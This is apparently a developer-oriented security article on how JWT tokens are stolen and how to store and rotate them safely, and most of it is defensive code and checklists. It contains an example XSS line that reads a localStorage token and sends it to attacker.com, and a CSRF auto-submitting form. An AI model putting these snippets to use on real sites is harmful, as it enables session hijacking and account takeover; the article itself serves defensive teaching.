How Hackers Can Steal JWT Tokens (and How to Prevent It)
Your authentication is only as strong as where you store your tokens. Most developers get this wrong — and attackers are counting on it.
Loading articles...
Your authentication is only as strong as where you store your tokens. Most developers get this wrong — and attackers are counting on it.

A JSON Web Token (JWT) is a compact, self-contained credential. When a user logs in, the server signs a token containing claims — user ID, roles, expiration — and sends it back to the client. From that point forward, the client presents this token on every request instead of resending a username and password.
A typical JWT looks like this:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.
eyJzdWIiOiJ1c2VyXzEyMyIsInJvbGUiOiJhZG1pbiIsImV4cCI6MTcxNjAwMDAwMH0.
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
Three base64url-encoded segments: header, payload, signature. The payload is not encrypted — it's just encoded. Anyone who gets their hands on this token can read its claims and, more critically, use it to authenticate as that user until it expires.
That's what makes JWT theft so attractive. It's not about cracking passwords. It's about grabbing a pre-authenticated credential and walking right through the front door.
Before understanding how tokens are stolen, you need to understand where they're stored. This is where the first — and often most consequential — architectural decision happens.
localStorageThe Web Storage API lets JavaScript store data persistently in the browser:
// Storing a token in localStorage
localStorage.setItem('access_token', jwt);
// Retrieving it on each request
const token = localStorage.getItem('access_token');
fetch('/api/data', {
headers: { Authorization: `Bearer ${token}` }
});
localStorage is simple, universally supported, and survives browser restarts. It's also accessible to any JavaScript running on the page — including scripts you didn't write.
sessionStorageFunctionally identical to localStorage for security purposes. The only difference is it clears when the tab closes. Same attack surface.
Browsers automatically attach cookies to every request to the matching domain. The critical distinction is in cookie flags:
Set-Cookie: access_token=eyJ...; Path=/; SameSite=Strict; Secure; HttpOnly
| Flag | Effect |
|---|---|
HttpOnly | Cookie is inaccessible to JavaScript — cannot be read by document.cookie |
Secure | Cookie is only sent over HTTPS |
SameSite=Strict | Cookie is not sent on cross-origin requests |
SameSite=Lax | Cookie sent on top-level navigation, not on cross-site subrequests |
The HttpOnly flag is the single most important security property in this entire article. Remember it.
Cross-Site Scripting (XSS) is the primary mechanism attackers use to steal tokens stored in localStorage. It is devastatingly simple in principle.
XSS occurs when an attacker manages to inject JavaScript into a page that other users will load. This can happen through:
Once an attacker has JavaScript executing in your origin, stealing a localStorage token is a single line:
// Attacker's injected script
const stolen = localStorage.getItem('access_token');
fetch('https://attacker.com/collect?t=' + stolen);
The token is exfiltrated silently. The user sees nothing. The attacker now has a valid session.
1. E-commerce site allows HTML in product reviews
2. Attacker submits review containing <script>...</script>
3. Victim browses to product page — script executes
4. Script reads localStorage['access_token']
5. Token is sent to attacker's server
6. Attacker uses token to place orders, access PII,
change shipping address, or escalate privileges
If you store a JWT in localStorage, a single XSS vulnerability anywhere on your site — including in a third-party script — is enough to fully compromise every logged-in user's session.
Modern web applications load dozens of third-party scripts. Each one is a potential attack surface. An attacker who compromises a popular analytics library can steal tokens from thousands of sites simultaneously.
XSS is the most direct attack, but tokens can leak through other channels:
Some implementations pass JWTs as query parameters:
https://app.example.com/dashboard?token=eyJ...
This is catastrophic. Tokens in URLs appear in:
Referer headers sent to third parties when navigating awayNever put tokens in URLs.
postMessage CommunicationSingle-page applications that use postMessage for cross-origin communication can leak tokens if the targetOrigin is set to *:
// DANGEROUS: broadcasts token to any listening frame
window.parent.postMessage({ token: jwt }, '*');
// CORRECT: restrict to a specific origin
window.parent.postMessage({ token: jwt }, 'https://app.example.com');
Applications that log request headers without sanitization may write tokens to log files. If those logs are indexed, replicated, or accessible to less-privileged systems, tokens leak far beyond their intended scope.
A stolen token is only as valuable as its remaining lifetime. This brings us to a design failure that multiplies the impact of every other attack: long-lived access tokens without rotation.
Some implementations issue a single long-lived JWT (24 hours, 7 days, or worse — no expiration) and call it done. An attacker who steals this token has days of valid authentication.
{
"sub": "user_123",
"role": "admin",
"exp": 9999999999
}
A token with exp set to year 2286 is, functionally, a permanent credential.
The correct approach separates concerns between two token types:
┌─────────────────────────────────────────────────────┐
│ ACCESS TOKEN │
│ • Short-lived: 5–15 minutes │
│ • Used on every API request │
│ • Stateless: server doesn't store it │
│ • If stolen: expires quickly │
└─────────────────────────────────────────────────────┘
┌─────────────────────────────────────────────────────┐
│ REFRESH TOKEN │
│ • Long-lived: days to weeks │
│ • Used ONLY to obtain new access tokens │
│ • Stateful: server tracks it in a database │
│ • Can be revoked server-side │
│ • Never sent to API endpoints │
└─────────────────────────────────────────────────────┘
The flow works like this:
Client Auth Server API Server
│ │ │
│──── POST /login ────────────────►│ │
│◄─── access_token (15min) ────────│ │
│ refresh_token (7 days) │ │
│ │ │
│──── GET /data + access_token ───────────────────────► │
│◄─── 200 OK ────────────────────────────────────────── │
│ │ │
│ [15 minutes later] │ │
│──── GET /data + access_token ───────────────────────► │
│◄─── 401 Unauthorized ──────────────────────────────── │
│ │ │
│──── POST /token/refresh ────────►│ │
│ + refresh_token │ │
│◄─── new access_token (15min) ────│ │
│ new refresh_token (rotated) │ │
Refresh token rotation is critical: each time a refresh token is used, it's invalidated and a new one is issued. If a stolen refresh token is used, the original is invalidated — which can be detected and trigger a forced logout of all sessions.
httpOnly CookiesNow that we've mapped the attacks, let's build the defense. The most robust client-side token storage strategy for web applications uses httpOnly cookies for the refresh token and in-memory storage for the access token.
httpOnly Cookies Are DifferentThe HttpOnly flag instructs the browser to never expose the cookie to JavaScript. It doesn't appear in document.cookie. localStorage.getItem can't read it. An XSS payload cannot exfiltrate it.
HTTP/1.1 200 OK
Set-Cookie: refresh_token=eyJ...; HttpOnly; Secure; SameSite=Strict; Path=/auth/token; Max-Age=604800
// In an XSS payload — this returns NOTHING for httpOnly cookies
document.cookie // → "" (refresh_token is not here)
The browser handles the cookie automatically — attaching it to requests to the matching path — without JavaScript ever touching it.
The access token should live in JavaScript memory, not in localStorage:
// auth.js — a simple in-memory token store
let accessToken = null;
export const setAccessToken = (token) => {
accessToken = token;
};
export const getAccessToken = () => accessToken;
export const clearAccessToken = () => {
accessToken = null;
};
This token disappears when the page reloads. That's intentional. On page load, the app silently calls the token refresh endpoint — the httpOnly refresh token cookie is sent automatically by the browser, and a new access token is returned.
// On app initialization
const silentRefresh = async () => {
try {
const response = await fetch('/auth/token/refresh', {
method: 'POST',
credentials: 'include' // sends httpOnly cookie automatically
});
if (response.ok) {
const { access_token } = await response.json();
setAccessToken(access_token);
} else {
// Refresh token expired or invalid — redirect to login
redirectToLogin();
}
} catch {
redirectToLogin();
}
};
┌─────────────────────────────────────────────────────────┐
│ BROWSER │
│ │
│ ┌───────────────────┐ ┌──────────────────────────┐ │
│ │ JavaScript │ │ httpOnly Cookie Store │ │
│ │ Memory │ │ (inaccessible to JS) │ │
│ │ │ │ │ │
│ │ access_token ✓ │ │ refresh_token ✓ │ │
│ │ (15min TTL) │ │ (7 day TTL) │ │
│ └───────────────────┘ └──────────────────────────┘ │
│ │ │ │
│ │ Bearer header │ Auto-attached │
│ ▼ ▼ by browser │
└─────────────────────────────────────────────────────────┘
│ │
▼ ▼
/api/* endpoints /auth/token/refresh
(validates JWT) (validates cookie,
issues new tokens)
An XSS attacker can steal the in-memory access token — but it expires in 15 minutes and can't be refreshed without the httpOnly cookie they can never read.
Using cookies introduces a different attack surface: Cross-Site Request Forgery (CSRF). Since browsers automatically send cookies on every request, an attacker can craft a page that causes the victim's browser to make authenticated requests to your server.
<!-- On attacker.com — victim's browser sends refresh_token cookie automatically -->
<form action="https://yourapp.com/account/delete" method="POST">
<input type="hidden" name="confirm" value="yes">
</form>
<script>document.forms[0].submit();</script>
1. SameSite=Strict Cookie Flag
Prevents the cookie from being sent on any cross-origin request. Most effective, but can break OAuth flows where redirects come from third-party domains.
Set-Cookie: refresh_token=eyJ...; SameSite=Strict; HttpOnly; Secure
2. SameSite=Lax with Double-Submit Pattern
For APIs that need to support cross-origin flows, pair SameSite=Lax with a CSRF token in a custom header:
// On each mutating request, send a CSRF token in a header
fetch('/api/transfer', {
method: 'POST',
headers: {
'X-CSRF-Token': csrfToken, // read from a non-httpOnly cookie or meta tag
'Authorization': `Bearer ${getAccessToken()}`
},
credentials: 'include'
});
The server validates that the custom header is present — a cross-origin request can't set custom headers.
3. Restrict Sensitive Endpoints to JSON Body
CSRF attacks typically rely on form submissions or simple GET requests. Endpoints that only accept Content-Type: application/json and validate it are immune to naive CSRF, since HTML forms can't set that content type cross-origin.
Client-side storage is only part of the picture. The server must actively defend too.
Pure stateless JWTs cannot be revoked before expiration. This is why refresh tokens must be stateful:
-- Refresh token table
CREATE TABLE refresh_tokens (
id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
user_id UUID NOT NULL REFERENCES users(id),
token_hash TEXT NOT NULL UNIQUE, -- store hash, not plaintext
issued_at TIMESTAMPTZ NOT NULL DEFAULT now(),
expires_at TIMESTAMPTZ NOT NULL,
rotated_at TIMESTAMPTZ, -- null if still valid
revoked_at TIMESTAMPTZ, -- null if not revoked
user_agent TEXT,
ip_address INET
);
On compromise detection — or explicit logout — set revoked_at. The next refresh attempt fails.
Implement automatic reuse detection to catch token theft:
const handleRefresh = async (incomingToken) => {
const tokenRecord = await db.refreshTokens.findOne({
token_hash: hash(incomingToken)
});
if (!tokenRecord) {
// Token doesn't exist — possible forgery
throw new UnauthorizedError('Invalid refresh token');
}
if (tokenRecord.rotated_at || tokenRecord.revoked_at) {
// Token was already used — POSSIBLE THEFT DETECTED
// Revoke ALL tokens for this user (force re-login everywhere)
await db.refreshTokens.revokeAllForUser(tokenRecord.user_id);
await alertSecurityTeam(tokenRecord);
throw new UnauthorizedError('Token reuse detected — all sessions invalidated');
}
// Valid — rotate token
await db.refreshTokens.rotate(tokenRecord.id);
return issueNewTokenPair(tokenRecord.user_id);
};
If an attacker steals a refresh token and uses it, the legitimate user's next refresh attempt will hit a rotated token — triggering reuse detection and invalidating the attacker's session.
Never skip signature validation. Never use alg: none. Always specify the expected algorithm explicitly:
// DANGEROUS: trusts the 'alg' field in the token header
jwt.verify(token, secret);
// CORRECT: explicitly specify allowed algorithms
jwt.verify(token, secret, { algorithms: ['HS256'] });
// For RS256 (asymmetric)
jwt.verify(token, publicKey, { algorithms: ['RS256'] });
The alg: none attack involves crafting a token with no signature and setting the algorithm to none. Libraries that trust the token's own alg header will accept it as valid.
Use this as a pre-deployment checklist for any JWT-based authentication system:
Token Storage
☐ Access tokens stored in memory only (not localStorage)
☐ Refresh tokens in httpOnly, Secure, SameSite cookies
☐ No tokens in URL query parameters
☐ No tokens logged in application logs
Token Lifetime
☐ Access tokens expire in 5–15 minutes
☐ Refresh tokens expire in days, not months or never
☐ exp claim is always validated server-side
CSRF Protection
☐ SameSite=Strict or SameSite=Lax on auth cookies
☐ CSRF token or custom header validation on mutations
XSS Mitigation
☐ Content Security Policy (CSP) header configured
☐ All user-generated content sanitized before rendering
☐ Third-party scripts audited and integrity-hashed (SRI)
Server-Side
☐ Algorithm explicitly enforced — alg:none rejected
☐ Refresh tokens stored as hashed values
☐ Token rotation implemented on every refresh
☐ Reuse detection with full session revocation
☐ Secure logout invalidates server-side refresh token
☐ Active sessions visible and revocable by user
| Attack | localStorage | In-Memory + httpOnly Cookie |
|---|---|---|
| XSS script steals token | ✅ Succeeds completely | ⚠️ Gets short-lived access token only |
| XSS refreshes stolen token | ✅ Succeeds (refresh also in localStorage) | ❌ Fails — refresh cookie inaccessible |
| CSRF forces refresh | N/A | ❌ Blocked by SameSite + CSRF token |
| Token replay after logout | ✅ Token still valid until expiry | ❌ Server-side revocation |
| Phishing steals token via URL | ✅ If token in URL | ❌ Token never in URL |
| Reuse detection | ❌ Stateless, no detection | ✅ Triggers full session revocation |
JWT theft is rarely sophisticated. Attackers don't need to break cryptography or reverse-engineer your signing key. They need one thing: your token, sitting in localStorage, waiting for a single XSS vulnerability to expose it.
The defense isn't complicated either — but it requires discipline:
httpOnly cookies for refresh tokensAuthentication is the lock on your front door. The choice between localStorage and httpOnly cookies isn't a minor implementation detail — it's the difference between a deadbolt and a combination lock with the combination written on a sticky note next to it.
Build it right the first time.
Further reading: OWASP JWT Security Cheat Sheet · RFC 9068 — JWT Profile for OAuth 2.0 Access Tokens · Auth0: Refresh Token Rotation

Create elementAI Explainer Videos That Convert With Simple Text Prompts.
Learn More